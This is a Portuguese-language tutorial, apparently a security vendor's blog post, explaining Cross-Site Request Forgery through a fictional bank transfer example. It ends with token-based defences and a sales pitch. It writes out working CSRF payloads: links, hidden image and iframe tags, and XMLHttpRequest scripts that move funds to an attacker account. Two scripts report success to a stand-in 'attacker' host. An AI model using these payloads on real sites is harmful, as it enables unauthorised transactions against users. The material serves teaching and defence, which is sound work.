Sumário: Afinal, o que são ataques de Cross-Site Request Forgery (CSRF)?
O Cross-Site Request Forgery (CSRF) é uma classe de ataques que explora a relação de confiança entre um aplicativo web e seu usuário legítimo. Para execução do CSRF, o usuário mal intencionado deve induzir o utilizador legítimo, seja por meio de engenharia social ou outros artifícios como cross-site scripting, a executar atividades arbitrárias no aplicativo, permitindo que virtualmente qualquer ação específica possa ser realizada no sistema sem o consentimento do usuário final.
A exploração do CSRF se dá por meio de aplicativos vulneráveis que não possuem controles específicos para garantir que todas as comunicações com o usuário legítimo sejam feitas dentro de um mesmo contexto, ou seja, utilizando um fluxo lógico de execução. Um bom exemplo seria a execução de uma transação de movimentação financeira de créditos para uma nova titularidade (usuário), sem que a tela para captura dos dados de origem e destino seja solicitada pelo usuário (vítima do ataque).
O alvo do atacante geralmente são as transações valiosas e mais comuns nos sistemas de aplicativos web, tais como:
- Alteração de e-mail ou dados pessoais;
- Alteração de senha de acesso;
- Movimentações financeiras ou compras on-line.
Aplicações vulneráveis são exploradas basicamente por meio das seguintes etapas:
- O usuário se autentica ou está autenticado na aplicação alvo do ataque;
- O usuário recebe um link ou utiliza o mesmo navegador para acessar um aplicativo malicioso;
- O link ou aplicativo malicioso navegado inclui uma requisição à aplicação alvo, carregando todos os parâmetros necessários para a execução da transação.
- Como existe uma sessão autenticada válida para o usuário no aplicativo alvo, a aplicação recebe a requisição e executa a operação conforme a solicitação enviada;
Meu aplicativo está vulnerável ao ataque de CSRF?
Se o seu aplicativo permitir a execução de transações por meio da invocação de uma requisição estática, ou seja, utilizando os mesmos parâmetros ao longo do tempo, então possivelmente ela está vulnerável ao CSRF. Se o método utilizado do protocolo HTTP for GET, o risco é ainda maior.
Se você é capaz de salvar um formulário web do seu aplicativo no computador local, submetê-lo completamente fora de contexto e ainda obter uma resposta positiva da aplicação, as chances são grandes que você esteja vulnerável ao CSRF.
O problema está no fato do navegador incluir automaticamente em todas as solicitações para um mesmo aplicativo todas e quaisquer credenciais associadas a ele, seja um cookie de sessão do usuário, token e credenciais de autenticação, portanto, se o aplicativo não tiver condições de avaliar o fluxo de execução, não terá condições de distinguir a solicitação maliciosa da solicitação legítima.
Exemplo Prático
Para entender melhor esse processo vamos apresentar um exemplo prático de um ataque CSRF. No exemplo abaixo, Alice utiliza o sistema fictício do Bank.com e deseja realizar uma transferência de 100 reais para Beto na segunda-feira. O formulário de transferência pode ser traduzido de uma maneira bem superficial para a seguinte forma:
<form action="transfer.do" method="GET"> <input type="text" name="acct" value="BETO"> <input type="text" name="amount" value="100"> </form>
A requisição, de uma maneira genérica, será feita pelo método POST da seguinte forma:
GET /transfer.do?acct=BETO&amount=100 HTTP/1.1 Host: bank.com (...)
Na terça-feira, ela resolve transferir 50 reais adicionais à conta de BETO. Novamente, a requisição que parte do navegador dela tem a seguinte característica:
GET /transfer.do?acct=BETO&amount=50 HTTP/1.1 Host: bank.com (...)
Observando as requisições realizadas em momentos distintos, segunda e terça-feira, um atacante conclui que uma transação simples pode ser feita para sua conta se assumir o seguinte formato:
GET /transfer.do?acct=HACKER&amount=500 HTTP/1.1 Host: bank.com (...)
Se ele conseguir levar Alice a requisitar esta solicitação à aplicação do Bank.com enquanto estiver autenticada, a transação será executada arbitrariamente, contudo, ainda que com o caráter legítimo.
Para explorar a vulnerabilidade, o atacante prepara um link específico para tirar vantagem desta transação:
http://bank.co/transfer.do?acct=HACKER&amount=500
Para camuflar seus verdadeiros objetivos, o atacante decide ainda utilizar um serviço encurtador de URL, transformando a URL do ataque em um link para o fictício serviço “urlcurta”:
http://urlcurta.br/yhdkadkw
Ao enviar esta informação para Alice e ludibriá-la a invocar a URL enquanto conectada ao seu Banco, o atacante estará executando transações de maneira arbitrariamente sob o nome de Alice, efetivamente transferindo 500 reais da conta dela para sua conta.
Outros exemplos
Dentro desta mesma aplicação vulnerável, o atacante poderia escolher fazer referência a esta URL dentro de um outro aplicativo terceiro e convidar Alice a visitá-lo. Uma abordagem simples poderia ser o uso da tag HTML anchor (<a>) para criar um link de acesso no corpo do aplicativo ou de um e-mail enviado para Alice, conforme exemplo abaixo:
<a href="http://bank.co/transfer.do?acct=HACKER&amount=100000">Veja minhas fotos!</a>
Para sofisticar o ataque, o atacante poderia ainda esconder a requisição dentro de uma referência de imagem em um aplicativo HTML qualquer e convidá-la a visitar:
<img src="http://bank.co/transfer.do?acct=HACKER&amount=100000" width="1" height="1" border="0">
Alice não irá notar e o navegador irá submeter a solicitação ao bank.co sem qualquer indicação visual de que a transferência foi executada. Se Alice estiver autenticada na aplicação do banco, a transação será concluída com sucesso.
Abaixo uma lista das formas mais comuns que o atacante pode utilizar para explorar o CSRF em aplicativos vulneráveis:
- Por meio de tags HTML
- Uso de IMG SRC <img src=”http://host/?command”>
- Uso de SCRIPT SRC <script src=”http://host/?command”>
- Uso de IFRAME SRC <iframe src=”http://host/?command”>
- Por meio de código javascript
- ‘Image’ Object: <script> var foo = new Image(); foo.src = “http://host/?command”; </script>
- Por meio de objeto XmlHttpRequest (XMLHTTP). Note que em razão das restrições de segurança (Cross-domain restriction), o pedido via XmlHttpRequest só pode ser realizado no mesmo domínio do script. Contudo, este ataque pode ser explorado em combinação com o Cross-site scripting em um aplicativo duplamente vulnerável.
Exemplos da exploração do CSRF por meio de injeção de javascript em um aplicativo vulnerável:
- Para Internet Explorer:
<script> var post_data = 'name=value'; var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("GET", 'http://bank.co/transfer.do?acct=HACKER&amount=100', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { var receipt = new Image(); receipt.src = "http://attacker/attackResult.do?result=true"; } }; xmlhttp.send(post_data); </script>
- Para navegadores do tipo Mozilla
<script> var post_data = 'name=value'; var xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", 'http://bank.co/transfer.do?acct=HACKER&amount=100', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { var receipt = new Image(); receipt.src = "http://attacker/attackResult.do?result=true"; } }; xmlhttp.send(post_data); </script>
Sofisticação do ataque via Flash (SWF)
Objetos do tipo SWF (Flash) também pode ser utilizados para realizar solicitações de maneira assíncrona no navegador do usuário. Esta característica aliada à possibilidade de utilizar a política de Cross-Domain da Adobe (via arquivo crossdomain.xml), pode permitir que um atacante embuta um arquivo SWF para realizar a mesma solicitação ao Bank.co, se este permitir que objetos Flash de outros domínios se comuniquem com ele.
Para verificar a política atual, o atacante deve solicitar o arquivo http://bank.co/crossdomain.xml e verificar a ocorrência de algo similar a:
<allow-access-from domain="*" />
Qual o impacto e as principais consequências do ataque?
A principal consequência deste ataque é não ter a certeza se o usuário teve ou não a intenção de realizar as ações específicas no sistema e, desta forma, permitir que usuários mal intencionados explorem a relação de confiança para atacar o seu usuário final.
Existem inúmeros casos notórios como em Janeiro de 2007, quando uma vulnerabilidade no GMAIL permitiu que um atacante roubasse a lista de contatos do usuário vítima, ou da Netflix, empresa de aluguel de filmes online, que permitiu ao atacante alterar o nome e o endereço da conta e adicionar filmes na lista para aluguel.
Correção de códigos vulneráveis
Uma solução comum adotada pelos desenvolvedores contra o CSRF é o Synchronizer Token Pattern, que gera um token de “desafio” aleatório associado com a sessão atual do usuário. Esses tokens são inseridos nos formulários HTML, links associados com operações sensiveis e incluídas nas solicitações HTTP quando enviadas para o aplicativo web.
Quando o usuário gera uma solicitação por meio de um formulário, um campo “input” do tipo “hidden” deverá conter o token de proteção CSRF. Toda vez que uma transação sensível for executada, o aplicativo irá comparar o token enviado com o valor armazenado em sessão. Caso positivo, a transação será realizada e um novo token gerado de maneira aleatório. Em caso negativo, o aplicativo deverá recusar a execução da transação.
Exemplos
Algumas linguagens como Java já possuem funções específicas (via java.security.SecureRandom) para geração de token longo e aleatório. A clase é usado em aplicações Java para gerar um token longo e aleatório. No caso do aplicativo do Bank.co, este valor aleatório seria colocado para complementar o formulário:
<form action="/transfer.do" method="get"> <input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTViMGYwMGEwOA=="> … </form>
Desta forma, o pedido seria realizado de maneira única a cada vez que fosse executado.
Viewstate (ASP.NET)
Viewstate pode ser usado como uma defesa CSRF, uma vez que é difícil para um atacante para forjar valores válidos por meio de predição. O ViewState indica o status de uma página quando enviada para o servidor, esse status é definido através de um campo oculto colocado em cada página com um controle <form runat=”server”>. Lembre-se que é importante implementar controles criptográficos no ViewState para garantir que ele não poderá ser manipulado por um usuário mal intencionado. Exemplo:
protected override OnInit(EventArgs e) { base.OnInit(e); if (User.Identity.IsAuthenticated) ViewStateUserKey = Session.SessionID; }
Neste caso específico, o código deverá ser aplicado em Page_Init porque a chave tem de ser fornecida ao ASP.NET antes do Viewstate ser carregado.
Frameworks de Prevenção
Exemplo de vídeos de ataque
- How Do I: Prevent a Cross Site Request Forgery Security Flaw in an ASP.NET Application?
Como a Rede Segura pode te ajudar?
A RedeSegura possui uma solução completa para gestão de vulnerabilidades em aplicativos web, seja qual for o seu tipo de indústria e tamanho do seu aplicativo. Saiba mais detalhes sobre nossa metodologia:
Contate-nos ainda hoje para obter mais detalhes da nossa solução e como podemos ajudá-lo na missão de manter seus aplicativos web seguros.